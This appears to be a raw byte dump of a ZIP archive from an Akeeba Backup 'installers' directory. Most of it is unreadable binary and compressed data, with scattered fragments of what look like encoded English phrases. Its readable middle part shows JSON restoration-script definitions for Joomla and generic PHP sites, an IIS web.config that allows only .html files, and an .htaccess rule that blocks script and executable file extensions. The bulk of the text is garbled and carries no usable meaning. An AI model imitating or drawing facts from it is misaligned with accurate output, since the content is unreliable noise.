M3%,Ci4<!T  S 8-O%
;
bO %L
 y 	2
WA&*O E0 "*lyEU1t(.MaS^kR^c/%	CHi2.> :+*6OWJ */
aK1A11 <U2	:I:/IS5
!R72,ynETOUS$4!6< 9)OMaKA0?,MiFy;2A'D;(R-2H-S,T
	O'*1ddEXd
=)O(	!.7
*% ;A22)'">Hm .	CU2.0%>;%RK.5'F~8eMiFy@Zw3;S 8-e{2 +0(6<,lH  %2 fB^ohhk@Ti1
U% 9_i*
~J	;
 : ,
1<]g %eTb 5;
He~J@Bi"<#N <I;# y}&w@M(-;D]00OLK */
DKbokh`0=;	:BK":AW((
]Zx}>eo]GCIbiYn=!IS8,0N
i# $KoBKNO^c/(8UwA/?
;(65
 EwL	;&(LI7
U7 	2
N	'f%KB /
!M*%dT~H)(*CKS5*30 49=< mALIG 	 ANdO#	O: k"#O-'y2N-H(,)C9&eROxb*' m,0<	 	,n3$,#0:"!/
wE5
 .OK2? 7#89!Ti9peIhJ6

#*fOO,
-6Ny=N~4
 5]:?E&<OEC;+FOGke IGQ<.,%Gffn@}b 
  B\dK-*0%LP1,5"H~k{}*	RMv0[j# @FzPJhg" 	DaP4,EdK1
 8Uj_NP&$/@ibz}x}Jf{A'8;-BJ?GQ<.
hOS'*[TgHblhhM~Jg4lS@_}kN^t),*I(1xE}H(H97Y=U+*d
 (R.oEHkdET*8wAN= =9iKYT!3 0 C+&7*	IK
FGCiWXqQ\qO9(f9AM
+6:FvO4<5H%-ykCC+0
REw/'6H 
,L9y#  7
W	&fACM.E	!~cEBClvE_]ADT  2I R ,O%C+:n? S0U"A><>6L CTl]e-
B ,*?;4,kg[~BcziYk9,8:,L :E$ C9' >OL( 

 y&N3L	&!O)E * i<8@~]HCy@SaI#ART" .b`CBfyG"	
U -*N`#&5RRM6^ohhkE^IfMcF	$T'::S(R*E8
' n)AO<O&~US .=)M 
%5
M(+yA+7 I;*CR,>iaiYnT>O4
0*N0T)O  Od.$ ,-U ;S(S/ST0 9H   (BcjIEzyEU0 LO L{OGnal(c(0U1  i*<-ZL]aia@" ,LM_yK1e}ge@ND4.B+T'=d%&^ht@H: .KO]cITEv=[j*E@i`fyPf|g!NQOCFr~L{fd(EMC) :GI!;\~kg}]cz@zBTkK-"<IiW%OIsAHJcf|zPJhgMfS
iZ{RMMe G^hkMf}Jf/FqKw@STvJ@y@zB`jy}h{}JfV"HgNnMIiNRi`f|zPJhgM}gefnC}O{K4B\d 1 aB(%GO^a`zm9KSIA32@NCOeSj(@Xcf|z}$NdRWaP' hPolkNe}JK<+
#/1HTSkQpcjbW,EwHICUi(T~GheO]W0OHcPUdKNPOE;%IOI(@NLhhM~Jfdm+ :  tUIW(,8O)Zx~Jf{A!	iNnK?NySf|JdGaP' ,NAfBVjOPt[y_\]hg}/b`z@zo cRR	# @m< OIHXTpTIhgMfS DiIfV& e}Jfdm8 2AST:ryA`jbzR\0 #AG	;;#@IDTH\ZSf|JhNf~gef: nV,IEF%&FMtF<;
|OTTeSo oO@Llb`ja@De}DheM 7;"dRWJr~L{fdHEJ@-&Em	)8/p;%-
<[T?RMs&=4P.;4
(c\Sd FHn@}O{gHbllkE+ * :=} % &,.kTC0.Ok{}Jfo^a`bCzGf+ADAB *,kE%EFABoTnS	I`1'2HG]^a`z2yB`jbWT~O;Rib@zGf+ADqK"!CWIQHHMC}O{fKbllkh`1i[y
'1@NNn_kM
^TqFIo^a`jam+TmAQIG*4EZdMf~geK%#RRMe^)xed@oP]hg}]L%.CVSP * L
; :,	4Xce|zPf%AF-( Lm'2BLokhMfIfd@oPK6'HTS.pcjbz}x~Jf{l>IK:, !IHF\yPf|JdMf~geK%#40aVEA (xed@oP^hg}1CzB`jy}h{}JK;3m+)m\LM be|Jhg9e}gefh@&2 20A6
7!$OHwE8 ryB`jy}h~If{2YRm";=OHS} 7*Ldekn@[lXedaAE710O!y;T;Ii$
A-
R
' CznE~DAFI#4OUc6	LK
0TfROM E(T- ,F6	U#	T;&gIEZAP, %JcjHcS? ICI<UcE
!	 A0!f
 	B%&O&F+
" ~]HCS	*STA,REwL(
nOT	O<S+
6 dN0T6, ^NfTiediLy/2:HI .CK'R" wC!n 9i`O_\Sf6-W*T 5
B!;3&qK2BTp('CVSoOV%HtS(>Ecje|zv@U
N0N
D-#J5K 0O&M ywt('C~Jfw@H;70(3  qK&Bd
U[@*/=(KHNf}8ed@o*
1[TP7 <9"(P
OOE>6;7GP)
\SfOQ'%LUA?m#-8^hhM~Ifd  yGQ6-Acz@A`jb-O ;SYL*' 92K 2NIhg9e}ge<(R-__F(;3&*4Q<)X4HCz6cib\^Kx}cER,$Hi >
$I8U(dO
i .O.d-
RCoyE^ADT(kICcK .H=i;mI S-c0 @OJ.ZfP	.	@kMO^IfMcF#tH1/IC?A/E8I ,S! $cjIEZyP !'Oi3(E
 7 7'N}.Hd}/b`z;?S :0 .7:=GP&EC
cUQ Mr~OeKa	7O7&(1+#
;.C 0O7#    >eyP !'OiP5/EXB%&TgCo);T2=$C kK=
DiW#
> JcfyPf"*MT=nV +NA`0.pT]hg2HA ,-SYO 7Fxl^cja@+?Wcj`yPf%AFe1* nV2Hme}Jg@oP#ob`z4yA`jTIS17,' >IK
R_y7>&0;nV2HmF~JfCoPf2:Scz@AcjbAZP.
6NV=
>
Tp\LN?&FGNf~ffhm,.OI,!BJ  =7Xi1HGSk/%KXaz}x}>ex]b
	: n,8%	&!W
-f73
* 0
?+e]h6 i ?TE/
wUI	% +T~GhS? +W ,\b$IBE)
0
,OSf]hg2HA ,-SYO 7Fxl^cja@+?Wcj`yPf%AFe1* nV2Hme}Jg@oP#ob`z4yA`jTIS17,' >IK
R_y7>&0;nV2HmF~JfCoPf2:Scz@Acjb +OZA:	.cQ 4	@iIOUSyOUcddOWNLOADiTfR2EB0dUgiFyOUwANTtHISiSk TC;T4	w=n
$ O5
c   O :((PTgaKEEBAdOTcOMiFyO%obcSiSkICKSTART  wO,+)!KSiIOUSyOUcANdOWNLO!fP+(.1 B'#1cOWiB4
$ 	yV%APyTARTcOREwHICHiSn( RicOUSyOUcANdOWDn#
$-
	6HNIOMiFyOUwANTtHISi(KQ0$>1*R#$-&:sSj>DQ5
)-CUNOWNLOADiTfROMaKE%OIOMiFyOUwd})bcCydCIaS^A 6wH-9 C*#<S8/%eANf~ 5
B
-0;'5 ',(
CZ~x}$1	>8	$ tU,,7]jZdMK 
iIf3$.-5 )Ny:))8FS''l@XazP1OREjH(+GSFERicfyGTg(
EehC}OV3
AyO&	'=GR$<'''T`StI5.!'(=:cURBnFXMYd+F}SZYUXXDBiVX1'@Z^WCr~O{
)EY^]d-5!(l2T
:*K08(RP5
 >i+&7*	IK
FUAi_MnE!N-+f>	aDE+, "MHy+8;%8cNF^YL_YnB_HzEDNEd^cBY`LADNDBX^tBXnLCiBZCABLIdYk_B@lFHHOLiBYnB@dKtBXzLCYyED^d^fDi*c$<=S'T	C: .&MN ="R%E	!O & :F6	U#	T&<S%
~1/E
:n?I\U+CU"N= L  (^O/E	!T5
:6[]5'H&9Kc?H(!;?;18L',I84!.;8N%W	A,2 2KTPBGd^Bc i1
;:]i .C H[lyF&)@$	Z)XpO^j O;T"(KhLiBYnB@dKtBXzLCYyED^d^fDNF^YL_YnB_HzEDNEd^cBY`LADNDBX^tBXnLCiBZCABLIdYk_B@lFHHOkNe6!#4be|*kd}=I[8
; yU$'&fH8D8dHGNfdefE,2ROMaKEEB\d.?
=\c#(  	,[bRibzP$,#HtSj5AW?86 	!G^Uffh@%(,%EEBAyOS&@$~T^hJ=#(#ICKSIA9' =1!;CFi7=15#;:6<0#=4.<dAWJ 
"OCaLK/ "g7Rlkg}p <?ICKSTAOT% 7* #AG	+MN` ,
=(FVKalldGP1
<
-OHj\N5`yB`az}hcGSA$=ZDf}Df`j`f1 Ua'-
LD>/
M-
 #
T%,F- U,E89=65IH~h{}>e{l^
aA{Z]vke`ce|z0	Uk@J7Hn@}=xfdHAf#-(<O>T# =%ISE/
"# ?kHDf}0ke`[iFNIhNe~J:T{R.&5%yU
,> \sOES.gIHI~Ifw@=
fK,J@e|Sf|$&NH?OLxfd$
B]xST :)<0]43SS2W*(D<T">M9n48612ULC4  t)=  2~cOMiFyOUw:CY''I8F^ *8>H^c4L4O.^t-!B ~fROMaKEEB:iB&=t1	H2^d>F"8]HICHiSnOTLA-RI3 0
 R4MX92
/UKKL<e~I'"2:&Zd~]a,HA`ay} 92"
%SY<+G]vkf`G<%"dOJN=\b)>T?HdPTg=*4D
ATT3>c@XazP$
56CHtS<
!AK+710^UffE;.aKEEB\dK":=i2N]hJ&?kICKSIA "# AG	;&(HWcjM1&10WSL'+GI !FOIfI(:!>  INi&[P  + 	AiLn9K@OOS} 	2
'Zn@P' ( 5,OIc
 9 GQ6=#(#@CTS+>6=0-EmHM*' XcfQ+*
LRA(# $CA,/s2DrlSfQ6=5& RIcK4  ryGK:LICIOUSyOUcANdOJN
>n[TgKbBI` ?	?ASIt%*CW]je{]a`G	;&('' 8U~AJ%*(#Ied<aoldGUg%7\]h~]a!kU_WS6 <:=x /= Ti 
 561*(d A&"MaO!$"Cl.;$<O^ayCzdFC<R.O;E2	*'rke((/6y[!_I: ' C2O7 19-R{AJ&?ZOk{5)#Rs +\j

-A&4A/*HAaO	- ,Obe|xNN>;I( 8~h3?8YR::GS&w0O%CeT9,(;7UN$
-9II5&/NJBH~h][c=#H9<>Pz$3"+TVaS-2O7
 6C;*%&TeS
" $  .H_?	,=!\j	 6dHGe~ACO%0T4RKb$.$ '1Ws<]p
?;eO:pDI"#
'?? YS * lHB'So[TgHDJE+* &O;6hkg5.=9YQ ZS($g +=O+1IhO6%/4('W{-0-GJ 7 2L& nZbRib\[A6/
 w	H/"
m C <c" L
;%/Tol#*7 0\c#II= =9M Z92n_n.?9 cU"!4GF ,#
@#
cF]xedfIy8>T2:S8A;T&6\b@2).SU-GR(/O, 3A90JeF$6;>&	 sI,$ kH# n_nHSaAF\HSfZlA*+OO'+O/E!Tk ywt+%:g]e@ib2?'7  mRaT%&A-m*
:SjR40hPolMNd 7  <O>T8= A`" 51H_$KO"-9 M7[. 
0$a^O_qB^ok ) ;cU2FS?
:*E$A 97
,,,>F@IT\FNyP.> 0 VU=\a*j-.H477$lEC[ZOk{5)#Rs +\j

-A1!
FHiS""BLYkNf[lO (<O"T  i#C"
9H
,: 4AC U0dGHD+f )K#12A%c+;:U  1I&.JazR\&.@M	;+$,@JcfyPfQ7 #
>	DtT9$" 0: *s\>
 |ARy@Acj*82  ,_m@n'>G,['0KCA@=4

KZNe}g(:!TiH(8(
N[7:%
,fFOGhH
<UcASdL,--2 5
-7
5
aObe|s &?9D]
  kK$;Zue~D
IKM<jkg?e~g/#(!1 4(* !&WsB*2TiH<pcjy~hcGSA$=ZDfGhe  UQ)-CUNf
dffE,  8KXE9kMfS' ,AyRKw'Ey@.pcibcGSA%";74S)D4Fz"e|cANdK
DtT9)"
[~7;$+G\lkgTtHIW=&FM7;2@@XbCSnOTmALILCESyOUcANdO]N*=T2 M5Ed&O 
<$t99IKc	w
= T+ Iy	/6^@L&D=#R51 B7eTcOMiFyOU}A
'	,kKR/3I'=)Ayc(W		Ai2><(a 0AT,.2A sIi ? T  "xEwHICHiSnET:	
IS:c7W
=?R" EA0c%
<[]ANTtHISiSaFiKSTARTcOV2I^H; 5=	K
S#<! ,0EhB^ohAdOTcOMiIvO<1A1H39.CAT0wC<nmI<O-N6
A=f5E6ci1
U4 1GyiSkICKSTTkK  #HH^Ui/(HfICIOUSyOIANdOWNLOADiT%( YkdOTcOMiF$ewANTtHISm%nQ4AJSCzGK(LTCM+*6BI		2( 3.3
MKZNe}JiN}#:I1&n.kH^KTSHx}Jxl^aM=2<4:K  ~2Uc\N"	Tkm@}b 
 :c-
JFyOUjA!Ry@zBM5 :4U2,TOImE2H0+ d<UNf~ffh%#	MiJAH<"?<~2\]hg^a`zm.")S% $O4CHiSsOP"
^g	/	-OL{fde #6H0<<9F3TtUIW&8LL,2:vke`jM"5c	.=SRRMe2
nQ'6%1=='Ribz}E 7. 62D=:j<LICTO,
NIhgMK.(U/B8BAdOT~O;<T^h~]a:A`jy}h{P1
$%3n'>F1ICIOHS} 02
CR	,  $ ZNf}JK,65S6::%N>KSIAV!!NV*#(= 5TJhg`-0/a$*FOIcK+<2CJ!
$95 "Io^a`G,,7N*H(cANyO
Zn@}OV5*H,n;yOUwAST2	 ,HA`jy~h{%OZD>6%fK/	XM- "=-GEehm2~O{fI3$%/d=5-I)tUIW&8LL ,	SCzGfP?((~	/-I1OAYiP)3 O_"&#:be|^d~]aM,


/F%10N>HtSj9:K>>RZdMfS	 ;?)H !H)cRMm	;%yV: H~k{}*	RMv0[j9 4R$8*	7H*GLIGDhP5/Lokh?e}Jf*6OW2vScy@zBTkK  #)	0(i8?H(S8Ug*
^defhC}O{f"
E@=0K*{T^hg	^b`z@(KQ(POIf{]aib@(O\lE ZSfIhg!LM=
dIed<aoldGUg='+.:I 	:T@ib~h{%OZDs 'ge}Df`j`
6OWN!O	:T)3 X=*P1
+F',T?/CI~Jfo]a` f]AxHWcjezv@U %	eh@95?.EXB ) ;cU2>'9&c@Xay}/<)$:]W,1-@OE&2""B^ok(
1,-?\}ScCydCIaS^A3&
w#  :/ GAFI"O497X3!
L!0O9- c&
SO_]ADT",CKS0#bIIH	!?I, $	dGG^_Q\dFv@ZM%TAM6$! i\k( R87xE}H)* mAL.-<O27
"NA( #a +TpCM&y#~tBFyC\aCiKYT3 6wH* 	*I$2"d-XfM/		B"O,i*O2@~tBFy/%
A
56;fFNm^ y"e|$&NH"2e~J=+U#|L*87*)B'	&*H)m^SIDNFULcO6e
df@KNCTlR=5A0&O/F-w&i"
A0O#  /)A O<O>*7O:1	oaEOMk" &y"3 c@YK~8e{2iW<12%&-2H:7 0A (U2M~TE7
OIgCIsEwKN&1' kTT7E'	&*O,	IS;
U0	3W		,T! 5B '0CCFs@1  i8$52,"$-[gUT/ie|< 1N/0? :) EhKCCB@/=0#.<<9IGO^cyfYacCAS5.wC&nmIy5 d-ZLREBK- c	>^ &iW;]yO
>cb@(O\(AK*,
mF}gehm;2zalhkMK7 ,	$0HTS" ;1ZLlbcjGfS
8	IO:
7A,
W
	,2.E  )&O(*%@~]SayB`
 >6O[&#x>,//<,=-Z.T!_ 4"SjRK5 1%4 -OSf|+N4$	 >9<kH@ 9&9U98 ,!+$>Zl w>HMDm2%;+jed`lP^h<IOuOk',;6~] .R	6^J,lQ~q		We|O-/P D
(
4*S[7%geIx	0VcO+/]aOPL=-	>I ''?  SZhQPNf.O "R(E	!O; 9
<O6;Su$UA1<$u>*.+<-8A,Y6'@>%(]A' RO<"Ra B+.
=-9ON#1H9"

A/R8I=S: T)L[ye@}kRk
QkXf2SK%*5'ZNe}J
 be|*kd} y@A`jO-$
,9HTC(9="6 GQ3 7CA@: ) 
	
6]xed4lP#T|<&*SP[~Jxl^L $&)
LTC <TJdNfS1?*27 ;)H( 6Z/ 
.=09F3TiHM:?$=R?O$ 6<"\i%*,
hOS&"[Tg<aoJHKNO^c#.y  #At("KR&8I(`eTgNf6U("+GH^i)g:alA=2<'
 #A2<&G&,4F/T~O;Xb4yD@^gkLCC;  <U7	d$; f
a
' * CFs@1  i"
+"	>&/IEccfQ<41=OJN7ehmn22LEE__d6
ACoPH23NStMk~h/OIe{A#	HiSnOTmALTC
",
:16FK "SjRH	(	cFOIfI#6UwANTtHIStS,:$"O'TgT~DEOUSyOUcANyO
Zn@P-'28 +T~O-:*81 	ayB`8az}hU, 27
,'jAQWCQYACiCJhgc;! 2 -BE__d6
ACoPfR4 17$?LSTAOJcH
4	
n_Df}ke@Xce| . 	NlKHn@L{f  EE,
(;$=p[d}]aM,


/F "p5I^H/"vkf`j`SqN.=GS M`~O{fKbllkE  "OPi* ;[m8GS jTxl^a`G nOIm!H.T2(%@
J=+3L8^hkMf}JiNx
'\p `ZA`jbzk{}Jf{A%";74S>H(SdO0>6Lm/ FVKbllkNf}Jg@oP2 O^b`z*8CL;"Bmb`jam+5?8N-d<NyO _C~O{f'KMD4kK:	7F\]hg}/b`z@zoT\R0 :3
,[j"@IZbeJhgM		i\b KBE/
cRSiB/"G~]a`z2yB`jbz5*4 .RS=[j4MLM pTJhgM}defhm fZK	 >E=d2Mt[yH#I]^a`z@A`jbz}E 3OOE9C)#! =
%=?]Zbe|Jhg9e~gef:L{fdHolkhMfP%i[y A/?9$
0-'$I[OIf{l^cia@zGK(-.T4
0 	!H*NQOE=kL5.lFOIfd@o}# 52T:*T)ARIc
#AG,,7N>
RHUNf~gehm@4zaolk%cH=; Snb`z@-IKJkK8@Jb@zG~Dhe`GyRU)*0 aP, mKmT~Ifd@o}# 5INCzB`jb>00@M	=H$	
TCUg0,I n)jRK	 >E+ d2AiB=6:I'(.N>GSP "4U6;i2XmE4R8*c2[NH (/af6L^hhMf	Ifd@+
<Zd~]a
:kN 4Bmb`ja nGU(AK 6\jkgMfdefhmm'M|K  	,N}8BT `HAcjbz}E 7. 6I^b@zGf}*:9*-F`4F  #3B8NA`76n6p<BTp((lS<^Tg63N, (F1ECM84R3 7H<Mr~O{fKbll !xeg@o:2AI 	?Sye{l4	Hn! $&:-I~e~ge@ND)O.E"6=6U! 1cz@zo2H6OSsO,Xce|zPcIO!GE:([FgHblhhMf}*	MaB-<ASItO(?,-UL]a`ja2yGf}Dh-"%+Oy/
_GWehm@};xedHblA %'!MtF}8U~]a`zm8KSTAOT) -fK>EC pTIhgMfLG3Ee
Hme}Jfd2lPf|^hJ'StS8+
Ms"< FOGhe`j`K 6U~A7 1
-nV.IE1
]xed@oP]hg}]SaR.
\E,[L]a`ja2yGf}Dh
yGQ)*OLK
0T{LOI7
	HNf}Jfd2lPf|^hg2HA <8CWXc_^EnAI^UiT%&H\yPf|Jhg?e~gefhm@545X[7
 kK,uOQ! 1ARy@zB`jb~h{}Jfo^a`jCyGf}DNCI"IM:1Ld,T1a -c%F62N1'8Gibz}hcG%	<,

$KN	- :FBdKHMC}O{fKbllkhk@T
i1
U$5 	,k~Jf{l^L "(LTCM74R% 0 K2Zn@}O{f,
-6Ny:+;|L;*
HI~Jf{l^)"%	*!w[AH:7 0A -SjR4L^hhMf}>eg@oPfZxA#?I <.I A&O $ 	=!T)  
yc 3Li\4J%KB+c)9F8w%1S"S0Fxl^a`G,! CTO487=UM		IC"% K0m:=pMNSsARyCzB`jTI3Ms? %HEcj`f|Sf|Jhg$10N|
iL
71C:-y  n_k(( 
 "0#Rs+$,AJ@TzPf|>kdMf~g	ALm 'M|VEB% ;:9I]^a`z@A`jbz}N]T

%I(:*MLU7U0 !O O: )O,%-(
c;:!d}]a`zm#+
0OOE03 9;/!K@TzPf|J %^s#GJ*% m=)A?:; lECO:- %@XbCzGf}DNCI*O<O&7(N! i5R
 		 Md&,F-wO 5
: k
~h{}Jfw@((.(: 4[VGR006Y
 =h# BNA"0
D`lPf|^h~]a`z@z(
2":%KAryGf}Dhcj`f|zv@UN7 	D$"CM#Ed5
M**:A:;S/  0CR"C;:
T"IU0IhgMf~ /TnV1#!jed@oPf]hg}]a`;?3< /
 ARia@zGf	Ghe`jeSyOUcANdOWNLOADi[lXeMaKEEBAdOTcOMiFyO_w''I;
kKR +
R>:+T7 O]<5N%N	=(O( B *T% -+\yA'ti)*T~cOREwHICHiSnOTmALCC;'A6OO ;'M'	!T1'7U N=S.?IK55-!1c"MH&
:C R yU00N0~fROMaKEEBAdOTcOMiLy>T#I(k T&	.H"S: T9		I +AcANdOWNLOADiTfROMkDolkhMK6*
!TiH>S
"3
 // 2aZue}DheMUSyOUcANdOJN>(6Ee	.&1;ObewANTtHISiSkICKSTN]T
	R?I9	9+T% II)O,A1W	O&f
$KA6
 6i-U$ !I;*CTc	;MbiSnOTmALICIOUSyO%AF`LN\Yi'haEEBAdOTcOMiFyOUwdTtHISiSkICKSTARTJK  #)	0SsO?<
<GQ1CA@;2[TgKKEEBAdOTcOMiFyOUwANT6"HAICKSTARTcOREwHICCynOTmALICIOUSyOUcE* 	OADtT9)"
[~7:(:!\}SI\fSKR-2b`ja@W!(IRU<U6 ++# 3CL^BNkO71
=yU9T;
;.ibz}hV-2EW=-\ipTUlNNA!f$ kMf}JK'0z_7AZryB`jbWT~OV 9 dM)
 .8]jZdNf~geDaP46f.c2TbRMnApe|^hg^a`z@zo2H6OSnRT+  Re|zPf|g0.:C-(H0aKEE_A0&Tg@oPf|s 0(l SOOEs3n6<?F1Ri`f|z$e|Jhg!	ALhP46f#0*H)jed@oP^hg}]L=29(S&U8wHICUiW!(DQ5
'
	Zn@}O{fI3$%/d=*&p<NTiHM+ .Y_.  $<&/OGhe`j`K-.1 H
+< a/OPaO
61BS<: '''&*Xaz}h{}gT=9N>IOUNy6UNf~gefE,  80B!H)cOMiFdO%O^a`z@A`jbzIf{l^cja@zGK(-.T?&IOWNLRA@&5$H[(
**3Zd}]a`zm.")S! $!D5iSsOP"
^g.!;(}xfdHblA0.1A;2! O4StSonQ4, =
Re|zPf|g0.:C: 'f6EEB\d6
VCoPf|^E )(
NF/TcOREjH:ue}Dhe`G
2+::I"CTfOO,
-6Ny;8-F]ob`z@z6cibz}hcGS$7%[j >BK6/2>
^Gffhm@L{fdHbA"6n6;1O4StSonQ
#	03ue}Dhe`G
2+::I" n)fRRMe2
nQ 
<#$U~]a`z4yA`jbzP  .3N4	;'>F1I^IK-4R *	H<_C}O{fI3$%/d:?2F3TiH92AG &_[;	. +FTrAK,-$MN4
A(2\ACfK_EF&1;Kg$(8RyCzB`jOcRR$. &7UN*=

[pTJhgMK
Iw( ":
&2=4
]~Zd}]ay@zBZx~Jf$ID%/!=FVcj`fyGT&0_J
`]L{fd:allkh`,MtF39>
7aW!_T &FIo]a`ja nG?<
,<0lH0SjRK2LKkMf}Jg@oPf|xNN31I!k&R60yGf}DhH0'ASdK:C/% 8L8^hhMf}J.&:%TN!;*
\E1	>AryGf}Dh-"%+Oy0GP
=4A/
	cCT7,Obe|^hg	^a`z4yA`jbW 2I^H89YS1-DFZDf[f5
a B*-
g@oPK8$&
SiSvI" 51H_03:.IERicf|z?">
6
6,25
JE11 <YwE'9&bRibz},.>(:)!AG 	 HUNf~g;7)
.  ImT~Ifd@+
<Zd~]a
:kNSye{l^L		1SsO,Xcf|z29,1_GWehm@% !.
1%kFVClPf|5?Scy@z(SS3pRcja@W/5ALICIOUNy	/e~geK
53EXB!%6
068:II' :$LZOkx}Jfw@H97GP&<=FUeGN/0? :) EhBolkh?e}Jfd" >FP?9: <ZOk{}Jxo^a`
i[%98()	06_GEehm@L{fdH1%4 -68HU~]a`CzB` k{}Jxl^a`!(IERi`f|Se|Jh6
Wekm@'
Mf/)dUg@oPK= TiH<pcibz}TkN'KL# !]dke`je|zPfQ)*OJN
# 	$CA*CT7,Obe^hg}=I[(94-;$@N	*!jMLM	 Zpe|Jhg?e~gefhKfTM5 E6/,y	4-b`z@zBM 9
EjHM	&H,H(HSf|Jhg$10N|$>
\g;8-
]ob`z@zB((-:UH2AD % ,G<RoA6GWehm@};xfdHookhMK"iFyOUjA/?	
&2SY IU*#	F::c	TuORdHUNf~gH !TfROM|K)GP3!JyHZ=I]ob`z@W")T~O2$7
aW> %ABIDF00%KFZnC}O{aCA++ /DCoPf]hg}]L  $
SIA200%@M	=nATjN  <Z))IETkm@};xedHbA"MtF}8	RyCzB`
I~If{6CO%=5? RISf|JE.NQO<}xedHbA,OIc%
be^hg2HAR,;CWjFxl^aia@zGK>I^I70& 
_J
eT2 hPookhMf%OE(+
:8AD 	UXcK8@Jb@zGfGhe`j`K-U~AJ. 7H=a/TgHbllkMf}>eg@oPwI$[m*BSRU:3KL9:]dke`je|zPfQ%!O\D'*TgHblhhMf/CoPf]hg}]L%' SIA3?$'w[(00 Lm'DzallkNe}Jf/Fq
'\p ,"BZ~h{}8e{l^aM=2<4AQcj`f|z~Sc	!	JL:Ni]6E&Z   f6 :  5 '\*L 6N&;#
Z*",A	$dR3 _C"kX~O[]hg}]a(83YQ,\F<;=1->,0+:$<3)NJcf|zPf[cFRkIIWehm@	L{fd$ hhMfIfd@o}# 5INiTwR'RP>(:A(M  :
*fQPNBOE #5KKEE]k/
=X~T^hg	^b`z@9 H~k{}  wO9?/j[f`j`K8UcANdRW_C}O{K$EBAdOIc.&!Om ((KBH~h{}g0+,:OImEBK,  #		GH_C}O{K &!OIcH'K-Rlkg}]L%SIA9' =1!;CFi7=15#;:6<0#=4.<dAWJ 
"OCaLK/ "g7Rlkg}]L .;RIc		27! (KM	<?7	BdK"' #DzallkE6
 (yRUkg}]aN .9SAOJcK;9!_Df}DhK

4
Rc\Pd	 	,\b$;
Hhe}Jfdn,2StHTMiW<
&/RDjUI	% +C~Dhe4Xce|zP& e}ge(*UgHblA%T~O;<T]hg}=I[h&[P-F[o^a`b@zGfP= OHS3->
!
	GE:(^O3 LYkMf}>ed@o<2kg}]cz@zBM
T~O)8lb`ja4yDf}DE( OHc(2 ",2iO
hOP3(*FN]kg}]
(pcjy~hcGV=	Jb@Df}bNL#0&!U7'N0N
(#xfde
AyO0 73FP&2;*JPy~h{[lO  #H=+O(e|z<,ALgLTJ
jWePTgHohkkE^IOGi'2
5 N?= =9iKYT T%3=z;*O? O- +W ni^LREM	 #
TcO 26~tBI3*;R7,>Hag]D}YA[S[ZU=0,7O<@L+'54
BNd.&
(F]ADT ,8CKS3/'T
 %	C8<"m-
S/
0*ODBL D%2gaAJohNkO&&:<U6
 (k
T $i("*9/ <G\xkdk@W'O fO."E(P~g

0OHw@'[m,,1=6&HR?OS$7(
fK+$>?&;FNyScI7DK>7&7=DaMCE1aB<07+&}AcCzo (AOTb 660,+>AD;*$&<!,+'8*KCA@' 9(B^okN@[c=<<O?N$*? yR\g&;@iCz%&0)  - 1L`OLe- okM =+*6= %6\HI~>ePK     \	3      installers/brs-generic.jsonnu [        {
    "brs-generic": {
        "name": "Akeeba Backup Restoration Script for Miscellaneous PHP Applications",
        "package": "brs.jpa,brs-generic.jpa",
        "language": "language-brs.jpa,language-generic.jpa",
        "installerroot": "installation",
        "sqlroot": "installation\/sql",
        "databasesini": "1",
        "readme": "1",
        "extrainfo": "1",
        "password": "1",
        "typedtablelist": "1"
    }
}PK     \A      installers/brs-joomla.jsonnu [        {
    "brs": {
        "name": "Akeeba Backup Restoration Script for Joomla! Sites",
        "package": "brs.jpa,brs-joomla.jpa",
        "language": "language-brs.jpa,language-joomla.jpa",
        "installerroot": "installation",
        "sqlroot": "installation\/sql",
        "databasesini": "1",
        "readme": "1",
        "extrainfo": "1",
        "password": "1",
        "typedtablelist": "1"
    }
}PK     \A      installers/brs.jsonnu [        {
    "brs": {
        "name": "Akeeba Backup Restoration Script for Joomla! Sites",
        "package": "brs.jpa,brs-joomla.jpa",
        "language": "language-brs.jpa,language-joomla.jpa",
        "installerroot": "installation",
        "sqlroot": "installation\/sql",
        "databasesini": "1",
        "readme": "1",
        "extrainfo": "1",
        "password": "1",
        "typedtablelist": "1"
    }
}PK     \|N      installers/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        installers/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \x    installers/brs-joomla.jpanu [        JPA  ,   Z   JPFQ < installation/platform/ViewTemplates/publicfolder/default.php  x
    VkoHVUCTYY, *!Qǚ m_`s;ԛi:K.	qAEM
cq")K`pJe>ʀ \{NWvՏ>髏`@DQl3<m_&VLLy0Ϙ '16u p\®\9לʧ-0gd6R6K׳ow3m\FFT!.iaś}v[w^U)V8nXlD+U$YmCrh6-
uI\idnùG~$J]ԛ:J7gM[^~t~?/ݻբkD.Eh;߽w90ōe3fL9Ttt	̈Gl'7.(ZӇco>N26Icy&ȷv(@{x8:lm1V1޸~?_MlKbKIBŋڮה̎qs6L]Y 	^',AnT@̣XFaLݻJZ5{7Llr3$uݲ@=n]%,|~0FM.P*r!!k|ig}eGBNX;bjuQI 17m<eicK).VWKe'ҘJC{IfEUp¿6G}\
zif 	R2G{b}7l-سw$qf+	*|~MIaCPlQ|LPw5r?tҝOFCXV3qsxg3ZS0xE7W&lD	rZŠ^0<X~	w}{sFwyrݗ8^zS2U(628UN@ws,HY2.TzP'?z5"2X9*:jNR֗Tfy`$p%iO9_ JPFJ 5 installation/platform/ViewTemplates/setup/default.phpx      S]O0}n~]-ik2@4*
,{0Mcյ-iu(P){ι~d4х.J7h2q%aa<X ޤJoNS/};\PYu gJR(&*-S֫_\J4L| \m+4"_
MNnfɔ 2:+ur\m+Iܰ%Y$(4"	L0>:2q͎stJ:i_{]伤&u`VdOZ*ۣЩ*eg}	Ӈ8pL
ǡ==PX\fx@]u!42ic0Agĥ.26`&1h)Lk(	<^ӑxIzXvKוʲndjZ=Q<YtDvSz}"q_Eul
j:	ʀv&/s>P0	.靈I[3nhᤗ(#WʏHf|;vMQhw{ídcx>NbF0;(wE^D^FJPFO : installation/platform/ViewTemplates/setup/default_dirs.php  
    U]o0}^~UT)P5ЕuV>
